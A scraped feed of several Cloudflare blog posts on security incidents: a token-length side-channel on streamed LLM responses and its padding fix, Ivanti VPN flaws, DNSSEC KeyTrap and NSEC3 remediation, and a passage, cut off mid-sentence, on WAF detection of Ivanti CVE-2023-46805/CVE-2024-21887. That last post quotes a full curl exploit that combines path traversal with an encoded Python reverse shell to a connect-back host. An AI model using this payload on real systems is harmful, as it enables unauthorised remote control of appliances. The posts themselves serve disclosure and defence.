vulnerability that affects LLM providers. You can read the detailed research paper <a href="https://cdn.arstechnica.net/wp-content/uploads/2024/03/LLM-Side-Channel.pdf">here</a>.</p><p>Since being notified about this vulnerability, we've implemented a mitigation to help secure all Workers AI and AI Gateway customers. As far as we could assess, there was no outstanding risk to Workers AI and AI Gateway customers.</p>
    <div>
      <h3>How does the side-channel attack work?</h3>
      <a href="#how-does-the-side-channel-attack-work">
        
      </a>
    </div>
    <p>In the paper, the authors describe a method in which they intercept the stream of a chat session with an LLM provider, use the network packet headers to infer the length of each token, extract and segment their sequence, and then use their own dedicated LLMs to infer the response.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6EeuXpPSqqvqIZKZUFPKEY/951a777d273caf172933639d9f5d6f12/pasted-image-0--2--3.png" />
            
            </figure><p>The two main requirements for a successful attack are an AI chat client running in <b>streaming</b> mode and a malicious actor capable of capturing network traffic between the client and the AI chat service. In streaming mode, the LLM tokens are emitted sequentially, introducing a token-length side-channel. Malicious actors could eavesdrop on packets via public networks or within an ISP.</p><p>An example request vulnerable to the side-channel attack looks like this:</p>
            <pre><code>curl -X POST \
https://api.cloudflare.com/client/v4/accounts/&lt;account-id&gt;/ai/run/@cf/meta/llama-2-7b-chat-int8 \
  -H "Authorization: Bearer &lt;Token&gt;" \
  -d '{"stream":true,"prompt":"tell me something about portugal"}'</code></pre>
            <p>Let’s use <a href="https://www.wireshark.org/">Wireshark</a> to inspect the network packets on the LLM chat session while streaming:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6sII07hkJGaVXBKlWoBoEW/a1c3be395e0bee3ec5ed690947737d51/media.png" />
            
            </figure><p>The first packet has a length of 95 and corresponds to the token "Port" which has a length of four. The second packet has a length of 93 and corresponds to the token "ug" which has a length of two, and so on. By removing the likely token envelope from the network packet length, it is easy to infer how many tokens were transmitted and their sequence and individual length just by sniffing encrypted network data.</p><p>Since the attacker needs the sequence of individual token length, this vulnerability only affects text generation models using streaming. This means that AI inference providers that use streaming — the most common way of interacting with LLMs — like Workers AI, are potentially vulnerable.</p><p>This method requires that the attacker is on the same network or in a position to observe the communication traffic and its accuracy depends on knowing the target LLM’s writing style. In ideal conditions, the researchers claim that their system “can reconstruct 29% of an AI assistant’s responses and successfully infer the topic from 55% of them”. It’s also important to note that unlike other side-channel attacks, in this case the attacker has no way of evaluating its prediction against the ground truth. That means that we are as likely to get a sentence with near perfect accuracy as we are to get one where only things that match are conjunctions.</p>
    <div>
      <h3>Mitigating LLM side-channel attacks</h3>
      <a href="#mitigating-llm-side-channel-attacks">
        
      </a>
    </div>
    <p>Since this type of attack relies on the length of tokens being inferred from the packet, it can be just as easily mitigated by obscuring token size. The researchers suggested a few strategies to mitigate these side-channel attacks, one of which is the simplest: padding the token responses with random length noise to obscure the length of the token so that responses can not be inferred from the packets. While we immediately added the mitigation to our own inference product — Workers AI, we wanted to help customers secure their LLMs regardless of where they are running them by adding it to our AI Gateway.</p><p>As of today, all users of Workers AI and AI Gateway are now automatically protected from this side-channel attack.</p>
    <div>
      <h3>What we did</h3>
      <a href="#what-we-did">
        
      </a>
    </div>
    <p>Once we got word of this research work and how exploiting the technique could potentially impact our AI products, we did what we always do in situations like this: we assembled a team of systems engineers, security engineers, and product managers and started discussing risk mitigation strategies and next steps. We also had a call with the researchers, who kindly attended, presented their conclusions, and answered questions from our teams.</p><p>The research team provided a testing notebook that we could use to validate the attack's results. While we were able to reproduce the results for the notebook's examples, we found that the accuracy varied immensely with our tests using different prompt responses and different LLMs. Nonetheless, the paper has merit, and the risks are not negligible.</p><p>We decided to incorporate the first mitigation suggestion in the paper: including random padding to each message to hide the actual length of tokens in the stream, thereby complicating attempts to infer information based solely on network packet size.</p>
    <div>
      <h3>Workers AI, our inference product, is now protected</h3>
      <a href="#workers-ai-our-inference-product-is-now-protected">
        
      </a>
    </div>
    <p>With our inference-as-a-service product, anyone can use the <a href="https://developers.cloudflare.com/workers-ai/">Workers AI</a> platform and make API calls to our supported AI models. This means that we oversee the inference requests being made to and from the models. As such, we have a responsibility to ensure that the service is secure and protected from potential vulnerabilities. We immediately rolled out a fix once we were notified of the research, and all Workers AI customers are now automatically protected from this side-channel attack. We have not seen any malicious attacks exploiting this vulnerability, other than the ethical testing from the researchers.</p><p>Our solution for Workers AI is a variation of the mitigation strategy suggested in the research document. Since we stream JSON objects rather than the raw tokens, instead of padding the tokens with whitespace characters, we added a new property, "p" (for padding) that has a string value of variable random length.</p><p>Example streaming response using the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events">SSE</a> syntax:</p>
            <pre><code>data: {"response":"portugal","p":"abcdefghijklmnopqrstuvwxyz0123456789a"}
data: {"response":" is","p":"abcdefghij"}
data: {"response":" a","p":"abcdefghijklmnopqrstuvwxyz012"}
data: {"response":" southern","p":"ab"}
data: {"response":" European","p":"abcdefgh"}
data: {"response":" country","p":"abcdefghijklmno"}
data: {"response":" located","p":"abcdefghijklmnopqrstuvwxyz012345678"}</code></pre>
            <p>This has the advantage that no modifications are required in the SDK or the client code, the changes are invisible to the end-users, and no action is required from our customers. By adding random variable length to the JSON objects, we introduce the same network-level variability, and the attacker essentially loses the required input signal. Customers can continue using Workers AI as usual while benefiting from this protection.</p>
    <div>
      <h3>One step further: AI Gateway protects users of any inference provider</h3>
      <a href="#one-step-further-ai-gateway-protects-users-of-any-inference-provider">
        
      </a>
    </div>
    <p>We added protection to our AI inference product, but we also have a product that proxies requests to any provider — <a href="https://developers.cloudflare.com/ai-gateway/">AI Gateway</a>. AI Gateway acts as a proxy between a user and supported inference providers, helping developers gain control, performance, and <a href="https://www.cloudflare.com/learning/performance/what-is-observability/">observability</a> over their AI applications. In line with our mission to help build a better Internet, we wanted to quickly roll out a fix that can help all our customers using text generation AIs, regardless of which provider they use or if they have mitigations to prevent this attack. To do this, we implemented a similar solution that pads all streaming responses proxied through AI Gateway with random noise of variable length.</p><p>Our AI Gateway customers are now automatically protected against this side-channel attack, even if the upstream inference providers have not yet mitigated the vulnerability. If you are unsure if your inference provider has patched this vulnerability yet, use AI Gateway to proxy your requests and ensure that you are protected.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>At Cloudflare, our mission is to help build a better Internet – that means that we care about all citizens of the Internet, regardless of what their tech stack looks like. We are proud to be able to improve the security of our AI products in a way that is transparent and requires no action from our customers.</p><p>We are grateful to the researchers who discovered this vulnerability and have been very collaborative in helping us understand the problem space. If you are a security researcher who is interested in helping us make our products more secure, check out our Bug Bounty program at <a href="http://hackerone.com/cloudflare">hackerone.com/cloudflare</a>.</p> ]]></content:encoded>
            <category><![CDATA[Bug Bounty]]></category>
            <category><![CDATA[LLM]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[AI Gateway]]></category>
            <category><![CDATA[SASE]]></category>
            <guid isPermaLink="false">1R32EruY6C8Pu6LrFCGXwy</guid>
            <dc:creator>Celso Martinho</dc:creator>
            <dc:creator>Michelle Chen</dc:creator>
        </item>
        <item>
            <title><![CDATA[Eliminate VPN vulnerabilities with Cloudflare One]]></title>
            <link>https://blog.cloudflare.com/eliminate-vpn-vulnerabilities-with-cloudflare-one/</link>
            <pubDate>Wed, 06 Mar 2024 14:00:32 GMT</pubDate>
            <description><![CDATA[ The Cybersecurity & Infrastructure Security Agency (CISA) recently issued an Emergency Directive due to the Ivanti Connect Secure and Policy Secure vulnerabilities. In this blog, we discuss the threat actor tactics exploiting these vulnerabilities ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7dkFzKpbp6dNWRPtmhzmF/c38942d12f78bff0cba968474c923a17/image1-17.png" />
            
            </figure><p>On January 19, 2024, the Cybersecurity &amp; Infrastructure Security Agency (CISA) issued <a href="https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities">Emergency Directive 24-01: Mitigate Ivanti Connect Secure and Ivanti Policy Secure Vulnerabilities</a>. CISA has the authority to issue emergency directives in response to a known or reasonably suspected information security threat, vulnerability, or incident. U.S. Federal agencies are required to comply with these directives.</p><p>Federal agencies were directed to apply a mitigation against two recently discovered vulnerabilities; the mitigation was to be applied within three days. Further monitoring by CISA revealed that threat actors were continuing to exploit the vulnerabilities and had developed some workarounds to earlier mitigations and detection methods. On January 31, CISA issued <a href="https://www.cisa.gov/news-events/directives/supplemental-direction-v1-ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure">Supplemental Direction V1</a> to the Emergency Directive instructing agencies to immediately disconnect all instances of Ivanti Connect Secure and Ivanti Policy Secure products from agency networks and perform several actions before bringing the products back into service.</p><p>This blog post will explore the threat actor’s tactics, discuss the high-value nature of the targeted products, and show how Cloudflare’s <a href="https://www.cloudflare.com/learning/access-management/what-is-sase/">Secure Access Service Edge</a> (SASE) platform <a href="https://www.cloudflare.com/products/zero-trust/threat-defense/">protects against such threats</a>.</p><p>As a side note and showing the value of layered protections, Cloudflare’s WAF had <a href="/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability">proactively detected</a> the Ivanti zero-day vulnerabilities and deployed emergency rules to protect Cloudflare customers.</p>
    <div>
      <h2>Threat Actor Tactics</h2>
      <a href="#threat-actor-tactics">
        
      </a>
    </div>
    <p>Forensic investigations (see the <a href="https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/">Volexity</a> blog for an excellent write-up) indicate that the attacks began as early as December 2023. Piecing together the evidence shows that the threat actors chained two previously unknown vulnerabilities together to gain access to the Connect Secure and Policy Secure appliances and achieve unauthenticated remote code execution (RCE).</p><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46805">CVE-2023-46805</a> is an authentication bypass vulnerability in the products’ web components that allows a remote attacker to bypass control checks and gain access to restricted resources. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21887">CVE-2024-21887</a> is a command injection vulnerability in the products’ web components that allows an authenticated administrator to execute arbitrary commands on the appliance and send specially crafted requests. The remote attacker was able to bypass authentication and be seen as an “authenticated” administrator, and then take advantage of the ability to execute arbitrary commands on the appliance.</p><p>By exploiting these vulnerabilities, the threat actor had near total control of the appliance. Among other things, the attacker was able to:</p><ul><li><p>Harvest credentials from users logging into the VPN service</p></li><li><p>Use these credentials to log into protected systems in search of even more credentials</p></li><li><p>Modify files to enable remote code execution</p></li><li><p>Deploy web shells to a number of web servers</p></li><li><p>Reverse tunnel from the appliance back to their command-and-control server (C2)</p></li><li><p>Avoid detection by disabling logging and clearing existing logs</p></li></ul>
    <div>
      <h2>Little Appliance, Big Risk</h2>
      <a href="#little-appliance-big-risk">
        
      </a>
    </div>
    <p>This is a serious incident that is exposing customers to significant risk. CISA is justified in issuing their directive, and Ivanti is working hard to mitigate the threat and develop patches for the software on their appliances. But it also serves as another indictment of the legacy “<a href="https://www.cloudflare.com/learning/access-management/castle-and-moat-network-security/">castle-and-moat</a>” security paradigm. In that paradigm, remote users were outside the castle while protected applications and resources remained inside. The moat, consisting of a layer of security appliances, separated the two. The moat, in this case the Ivanti appliance, was responsible for authenticating and authorizing users, and then connecting them to protected applications and resources. Attackers and other bad actors were blocked at the moat.</p><p>This incident shows us what happens when a bad actor is able to take control of the moat itself, and the challenges customers face to recover control. Two typical characteristics of vendor-supplied appliances and the legacy security strategy highlight the risks:</p><ul><li><p>Administrators have access to the internals of the appliance</p></li><li><p>Authenticated users indiscriminately have access to a wide range of applications and resources on the corporate network, increasing the risk of bad actor <a href="https://www.cloudflare.com/learning/security/glossary/what-is-lateral-movement/">lateral movement</a></p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1ijcyO0LP8vTx3RE2vVdtF/878a0dac9efef21e54aa17e340657a83/image2-13.png" />
            
            </figure>
    <div>
      <h2>A better way: Cloudflare’s SASE platform</h2>
      <a href="#a-better-way-cloudflares-sase-platform">
        
      </a>
    </div>
    <p><a href="https://www.cloudflare.com/zero-trust/">Cloudflare One</a> is Cloudflare’s <a href="https://www.cloudflare.com/learning/access-management/security-service-edge-sse/">SSE</a> and single-vendor SASE platform. While Cloudflare One spans broadly across security and networking services (and you can read about the latest additions <a href="/single-vendor-sase-announcement-2024/">here</a>), I want to focus on the two points noted above.</p><p>First, Cloudflare One employs the principles of Zero Trust, including the <a href="https://www.cloudflare.com/learning/access-management/principle-of-least-privilege/">principle of least privilege</a>. As such, users that authenticate successfully only have access to the resources and applications necessary for their role. This principle also helps in the event of a compromised user account as the bad actor does not have indiscriminate network-level access. Rather, least privilege limits the range of lateral movement that a bad actor has, effectively reducing the blast radius.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2JO2DWzmnzBQMpfyxgdetM/11056f797c5b712d9babb88b40a05ff2/image3-15.png" />
            
            </figure><p>Second, while customer administrators need to have access to configure their services and policies, Cloudflare One does not provide any external access to the system internals of Cloudflare’s platform. Without that access, a bad actor would not be able to launch the types of attacks executed when they had access to the internals of the Ivanti appliance.  </p>
    <div>
      <h2>It’s time to eliminate the legacy VPN</h2>
      <a href="#its-time-to-eliminate-the-legacy-vpn">
        
      </a>
    </div>
    <p>If your organization is impacted by the CISA directive, or you are just ready to modernize and want to augment or replace your current VPN solution, Cloudflare is here to help. Cloudflare’s <a href="https://cfl.re/ztna-product-overview">Zero Trust Network Access (ZTNA) service</a>, part of the Cloudflare One platform, is the fastest and safest way to connect any user to any application.</p><p>Contact us to get immediate onboarding help or to schedule an architecture workshop to help you <a href="https://www.cloudflare.com/vpn-vulnerability/">augment or replace your Ivanti (or any) VPN solution</a>.Not quite ready for a live conversation? Read our learning path article on how to <a href="https://www.cloudflare.com/products/zero-trust/vpn-replacement/">replace your VPN</a> with Cloudflare or our <a href="https://developers.cloudflare.com/reference-architecture/architectures/sase/">SASE reference architecture</a> for a view of how all of our SASE services and on-ramps work together.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[VPN]]></category>
            <category><![CDATA[Cloudflare One]]></category>
            <category><![CDATA[Cloudflare Access]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Application Services]]></category>
            <guid isPermaLink="false">5rEwvIjtLi0zxozkXfCbOY</guid>
            <dc:creator>Dan Hall</dc:creator>
            <dc:creator>Michael Keane</dc:creator>
        </item>
        <item>
            <title><![CDATA[Remediating new DNSSEC resource exhaustion vulnerabilities]]></title>
            <link>https://blog.cloudflare.com/remediating-new-dnssec-resource-exhaustion-vulnerabilities/</link>
            <pubDate>Thu, 29 Feb 2024 14:00:57 GMT</pubDate>
            <description><![CDATA[ Cloudflare recently fixed two critical DNSSEC vulnerabilities: CVE-2023-50387 and CVE-2023-50868. Both of these vulnerabilities can exhaust computational resources of validating DNS resolvers. These vulnerabilities do not affect our Authoritative DNS or DNS firewall products ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4aQzvD1YJLHbGjaALKlC8e/23b4147ceed9f1d364101fe3fcbda244/image1-13.png" />
            
            </figure><p>Cloudflare has been part of a multivendor, industry-wide effort to mitigate two critical <a href="https://www.cloudflare.com/dns/dnssec/how-dnssec-works/">DNSSEC</a> vulnerabilities. These vulnerabilities exposed significant risks to critical infrastructures that provide DNS resolution services. Cloudflare provides DNS resolution for anyone to use for free with our <a href="/dns-resolver-1-1-1-1">public resolver 1.1.1.1 service</a>. Mitigations for Cloudflare’s public resolver 1.1.1.1 service were applied before these vulnerabilities were disclosed publicly. Internal resolvers using <a href="https://nlnetlabs.nl/projects/unbound/about/">unbound</a> (open source software) were upgraded promptly after a new software version fixing these vulnerabilities was released.</p><p>All Cloudflare DNS infrastructure was protected from both of these vulnerabilities before they were <a href="https://www.athene-center.de/fileadmin/content/PDF/Technical_Report_KeyTrap.pdf">disclosed</a> and is safe today. These vulnerabilities do not affect our <a href="https://www.cloudflare.com/application-services/products/dns/">Authoritative DNS</a> or <a href="https://www.cloudflare.com/dns/dns-firewall/">DNS firewall</a> products.</p><p>All major DNS software vendors have released new versions of their software. All other major DNS resolver providers have also applied appropriate mitigations. Please update your DNS resolver software immediately, if you haven’t done so already.</p>
    <div>
      <h2>Background</h2>
      <a href="#background">
        
      </a>
    </div>
    <p>Domain name system (DNS) security extensions, commonly known as <a href="https://www.cloudflare.com/learning/dns/dnssec/ecdsa-and-dnssec/">DNSSEC</a>, are extensions to the DNS protocol that add authentication and integrity capabilities. DNSSEC uses cryptographic keys and signatures that allow DNS responses to be validated as authentic. DNSSEC protocol specifications have certain requirements that prioritize availability at the cost of increased complexity and computational cost for the validating DNS resolvers. The mitigations for the vulnerabilities discussed in this blog require local policies to be applied that relax these requirements in order to avoid exhausting the resources of validators.</p><p>The design of the DNS and DNSSEC protocols follows the <a href="https://datatracker.ietf.org/doc/html/rfc761#section-2.10">Robustness principle</a>: “be conservative in what you do, be liberal in what you accept from others”. There have been many vulnerabilities in the past that have taken advantage of protocol requirements following this principle. Malicious actors can exploit these vulnerabilities to attack DNS infrastructure, in this case by causing additional work for DNS resolvers by crafting DNSSEC responses with complex configurations. As is often the case, we find ourselves having to create a pragmatic balance between the flexibility that allows a protocol to adapt and evolve and the need to safeguard the stability and security of the services we operate.</p><p>Cloudflare’s public resolver 1.1.1.1 is a <a href="https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/">privacy-centric</a> public resolver service. We have been using stricter validations and limits aimed at protecting our own infrastructure in addition to shielding authoritative DNS servers operated outside our network. As a result, we often receive complaints about resolution failures. Experience shows us that strict validations and limits can impact availability in some edge cases, especially when DNS domains are improperly configured. However, these strict validations and limits are necessary to improve the overall reliability and resilience of the DNS infrastructure.</p><p>The vulnerabilities and how we mitigated them are described below.</p>
    <div>
      <h2>Keytrap vulnerability (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50387">CVE-2023-50387</a>)</h2>
      <a href="#keytrap-vulnerability">
        
      </a>
    </div>
    
    <div>
      <h3>Introduction</h3>
      <a href="#introduction">
        
      </a>
    </div>
    <p>A DNSSEC signed zone can contain multiple keys (DNSKEY) to sign the contents of a DNS zone and a Resource Record Set (RRSET) in a DNS response can have multiple signatures (RRSIG). Multiple keys and signatures are required to support things like key rollover, algorithm rollover, and <a href="https://datatracker.ietf.org/doc/html/rfc8901">multi-signer DNSSEC</a>. DNSSEC protocol specifications require a validating DNS resolver to <a href="https://datatracker.ietf.org/doc/html/rfc4035#section-5.3.3">try every possible combination of keys and signatures</a> when validating a DNS response.</p><p>During validation, a resolver looks at the key tag of every signature and tries to find the associated key that was used to sign it. A key tag is an unsigned 16-bit number <a href="https://datatracker.ietf.org/doc/html/rfc4034#appendix-B">calculated as a checksum</a> over the key’s resource data (RDATA). Key tags are intended to allow efficient pairing of a signature with the key which has supposedly created it.  However, key tags are not unique, and it is possible that multiple keys can have the same key tag. A malicious actor can easily craft a DNS response with multiple keys having the same key tag together with multiple signatures, none of which might validate. A validating resolver would have to try every combination (number of keys multiplied by number of signatures) when trying to validate this response. This increases the computational cost of the validating resolver many-fold, degrading performance for all its users. This is known as the Keytrap vulnerability.</p><p>Variations of this vulnerability include using multiple signatures with one key, using one signature with multiple keys having colliding key tags, and using multiple keys with corresponding hashes added to the parent delegation signer record.</p>
    <div>
      <h3>Mitigation</h3>
      <a href="#mitigation">
        
      </a>
    </div>
    <p>We have limited the maximum number of keys we will accept at a zone cut. A zone cut is where a parent zone delegates to a child zone, e.g. where the .com zone delegates cloudflare.com to Cloudflare nameservers. Even with this limit already in place and various other protections built for our platform, we realized that it would still be computationally costly to process a malicious DNS answer from an authoritative DNS server.</p><p>To address and further mitigate this vulnerability, we added a signature validations limit per RRSET and a total signature validations limit per resolution task. One resolution task might include multiple recursive queries to external authoritative DNS servers in order to answer a single DNS question. Clients queries exceeding these limits will fail to resolve and will receive a response with an Extended DNS Error (<a href="/unwrap-the-servfail/">EDE</a>) <a href="https://datatracker.ietf.org/doc/html/rfc8914#name-extended-dns-error-code-0-o">code 0</a>. Furthermore, we added metrics which will allow us to detect attacks attempting to exploit this vulnerability.</p>
    <div>
      <h2>NSEC3 iteration and closest encloser proof vulnerability (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50868">CVE-2023-50868</a>)</h2>
      <a href="#nsec3-iteration-and-closest-encloser-proof-vulnerability">
        
      </a>
    </div>
    
    <div>
      <h3>Introduction</h3>
      <a href="#introduction">
        
      </a>
    </div>
    <p><a href="https://datatracker.ietf.org/doc/html/rfc5155">NSEC3</a> is an alternative approach for authenticated denial of existence. You can learn more about authenticated denial of existence <a href="/black-lies/">here</a>. NSEC3 uses a hash derived from DNS names instead of the DNS names directly in an attempt to prevent zone enumeration and the standard supports multiple iterations for hash calculations. However, because the full DNS name is used as input to the hash calculation, increasing hashing iterations beyond the initial doesn’t provide any additional value and is not recommended in <a href="https://datatracker.ietf.org/doc/html/rfc9276#name-iterations">RFC9276</a>. This complication is further inflated while finding the <a href="https://datatracker.ietf.org/doc/html/rfc5155#section-8.3">closest enclosure proof</a>. A malicious DNS response from an authoritative DNS server can set a high NSEC3 iteration count and long DNS names with multiple DNS labels to exhaust the computing resources of a validating resolver by making it do unnecessary hash computations.</p>
    <div>
      <h3>Mitigation</h3>
      <a href="#mitigation">
        
      </a>
    </div>
    <p>For this vulnerability, we applied a similar mitigation technique as we did for Keytrap. We added a limit for total hash calculations per resolution task to answer a single DNS question. Similarly, clients queries exceeding this limit will fail to resolve and will receive a response with an EDE <a href="https://datatracker.ietf.org/doc/html/rfc9276.html#section-6">code 27</a>. We also added metrics to track hash calculations allowing early detection of attacks attempting to exploit this vulnerability.</p>
    <div>
      <h2>Timeline</h2>
      <a href="#timeline">
        
      </a>
    </div>
    <table>
	<tbody>
		<tr>
			<td>
			<p><strong><span><span><span><span>Date and time in UTC</span></span></span></span></strong></p>
			</td>
			<td>
			<p><strong><span><span><span><span>Event</span></span></span></span></strong></p>
			</td>
		</tr>
		<tr>
			<td>
			<p><span><span><span><span>2023-11-03 16:05</span></span></span></span></p>
			</td>
			<td>
			<p><span><span><span><span>John Todd from </span></span></span></span><a href="https://quad9.net/"><span><span><span><span><u>Quad9</u></span></span></span></span></a><span><span><span><span> invites Cloudflare to participate in a joint task force to discuss a new DNS vulnerability. </span></span></span></span></p>
			</td>
		</tr>
		<tr>
			<td>
			<p><span><span><span>2023-11-07 14:30</span></span></span></p>
			</td>
			<td>
			<p><span><span><span><span>A group of DNS vendors and service providers meet to discuss the vulnerability during </span></span></span></span><a href="https://www.ietf.org/blog/ietf118-highlights/"><span><span><span><span><u>IETF 118</u></span></span></span></span></a><span><span><span><span>. Discussions and collaboration continues in a closed chat group hosted at </span></span></span></span><a href="https://dns-oarc.net/oarc/services/chat"><span><span><span><span><u>DNS-OARC</u></span></span></span></span></a></p>
			</td>
		</tr>
		<tr>
			<td>
			<p><span><span><span>2023-12-08 20:20</span></span></span></p>
			</td>
			<td>
			<p><span><span><span><span>Cloudflare public resolver 1.1.1.1 is fully patched to mitigate Keytrap vulnerability (</span></span></span></span><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50387"><span><span><span><u>CVE-2023-50387</u></span></span></span></a><span><span><span><span>)</span></span></span></span></p>
			</td>
		</tr>
		<tr>
			<td>
			<p><span><span><span><span>2024-01-17 22:39</span></span></span></span></p>
			</td>
			<td>
			<p><span><span><span><span>Cloudflare public resolver 1.1.1.1 is fully patched to mitigate NSEC3 iteration count and closest encloser vulnerability (</span></span></span></span><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50868"><span><span><span><u>CVE-2023-50868</u></span></span></span></a><span><span><span><span>)</span></span></span></span></p>
			</td>
		</tr>
		<tr>
			<td>
			<p><span><span><span>2024-02-13 13:04</span></span></span></p>
			</td>
			<td>
			<p><a href="https://nlnetlabs.nl/news/2024/Feb/13/unbound-1.19.1-released/"><span><span><span><span><u>Unbound</u></span></span></span></span></a><span><span><span><span> package is released </span></span></span></span></p>
			</td>
		</tr>
		<tr>
			<td>
			<p><span><span><span>2024-02-13 23:00</span></span></span></p>
			</td>
			<td>
			<p><span><span><span><span>Cloudflare internal CDN resolver is fully patched to mitigate both </span></span></span></span><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50387"><span><span><span><u>CVE-2023-50387</u></span></span></span></a><span><span><span><span> and </span></span></span></span><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50868"><span><span><span><u>CVE-2023-50868</u></span></span></span></a></p>
			</td>
		</tr>
	</tbody>
</table>
    <div>
      <h2>Credits</h2>
      <a href="#credits">
        
      </a>
    </div>
    <p>We would like to thank Elias Heftrig, Haya Schulmann, Niklas Vogel, Michael Waidner from the German National Research Center for Applied Cybersecurity <a href="https://www.athene-center.de/en/">ATHENE</a>, for discovering the <a href="https://www.athene-center.de/fileadmin/content/PDF/Technical_Report_KeyTrap.pdf">Keytrap vulnerability</a> and doing a responsible disclosure.</p><p>We would like to thank Petr Špaček from Internet Systems Consortium (<a href="https://www.isc.org/">ISC</a>) for discovering the <a href="https://www.isc.org/blogs/2024-bind-security-release/">NSEC3 iteration and closest encloser proof vulnerability</a> and doing a responsible disclosure.</p><p>We would like to thank John Todd from <a href="https://quad9.net/">Quad9</a>  and the DNS Operations Analysis and Research Center (<a href="https://dns-oarc.net/">DNS-OARC</a>) for facilitating coordination amongst various stakeholders.</p><p>And finally, we would like to thank the DNS-OARC community members, representing various DNS vendors and service providers, who all came together and worked tirelessly to fix these vulnerabilities, working towards a common goal of making the internet resilient and secure.</p> ]]></content:encoded>
            <category><![CDATA[DNSSEC]]></category>
            <category><![CDATA[DNS]]></category>
            <category><![CDATA[Resolver]]></category>
            <category><![CDATA[1.1.1.1]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[KeyTrap]]></category>
            <category><![CDATA[NSEC3]]></category>
            <category><![CDATA[CVE-2023-50387]]></category>
            <guid isPermaLink="false">5KGfAQ21FRucS2X625z4FX</guid>
            <dc:creator>Vicky Shrestha</dc:creator>
            <dc:creator>Anbang Wen</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare’s AI WAF proactively detected the Ivanti Connect Secure critical zero-day vulnerability]]></title>
            <link>https://blog.cloudflare.com/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability/</link>
            <pubDate>Tue, 23 Jan 2024 14:00:48 GMT</pubDate>
            <description><![CDATA[ The issuance of Emergency Rules by Cloudflare on January 17, 2024, helped give customers a big advantage in dealing with these threats ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3RS6SAVZIQdSxkFz8zjeDM/77bd1b148c86f29e3d9d96e300bdf415/image1-2.png" />
            
            </figure><p>Most WAF providers rely on reactive methods, responding to vulnerabilities after they have been discovered and exploited. However, we believe in proactively addressing potential risks, and using AI to achieve this. Today we are sharing a recent example of a critical vulnerability (CVE-2023-46805 and CVE-2024-21887) and how Cloudflare's Attack Score powered by AI, and Emergency Rules in the WAF have countered this threat.</p>
    <div>
      <h3>The threat: CVE-2023-46805 and CVE-2024-21887</h3>
      <a href="#the-threat-cve-2023-46805-and-cve-2024-21887">
        
      </a>
    </div>
    <p>An authentication bypass (<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46805">CVE-2023-46805</a>) and a command injection vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21887">CVE-2024-21887</a>) impacting Ivanti products were recently disclosed and analyzed by <a href="https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis">AttackerKB</a>. This vulnerability poses significant risks which could lead to unauthorized access and control over affected systems. In the following section we are going to discuss how this vulnerability can be exploited.</p>
    <div>
      <h3>Technical analysis</h3>
      <a href="#technical-analysis">
        
      </a>
    </div>
    <p>As discussed in <a href="https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis">AttackerKB</a>, the attacker can send a specially crafted request to the target system using a command like this:</p>
            <pre><code>curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B</code></pre>
            <p>This command targets an endpoint (<b>/license/keys-status/)</b> that is usually protected by authentication. However, the attacker can bypass the authentication by manipulating the URL to include <b>/api/v1/totp/user-backup-code/../../license/keys-status/</b>. This technique is known as <a href="https://owasp.org/www-community/attacks/Path_Traversal">directory traversal</a>.</p><p>The URL-encoded part of the command decodes to a Python reverse shell, which looks like this:</p>
